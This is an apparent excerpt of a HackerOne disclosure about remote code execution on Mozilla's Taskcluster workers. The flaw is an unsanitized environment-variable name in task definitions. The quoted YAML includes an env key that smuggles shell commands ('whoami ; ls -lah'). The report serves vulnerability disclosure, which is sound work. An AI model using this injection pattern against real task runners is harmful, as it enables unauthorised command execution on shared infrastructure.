RCE on worker host due to unsanitized "env" variable name in task definition on community-tc.services.mozilla.com
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原文摘录
摘自原文（2051 字符中的一小部分）
Summary: This issue affects Taskcluster's worker code and not just this instance but I did not see an easy way to report the vulnerability as well since I was unsure if this would qualify for the Mozilla Client bug bounty. The task cluster definition attempts to escape parameters that are passed to …
原文中的代码
retries: 0
created: '2023-10-23T08:10:11.044Z'
deadline: '2023-10-23T11:10:11.044Z'
expires: '2024-10-23T11:10:11.044Z'
taskQueueId: proj-misc/tutorial
projectId: none
tags: {}
scopes: []
payload:
env:
# Commands to run in here
test2 --help ; whoami ; ls -lah ;: '--help'
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时间线
- 报告提交
- 公开披露
阅读 HackerOne 原文 ↗作者 @ebrietas · 版权归作者与 Mozilla 所有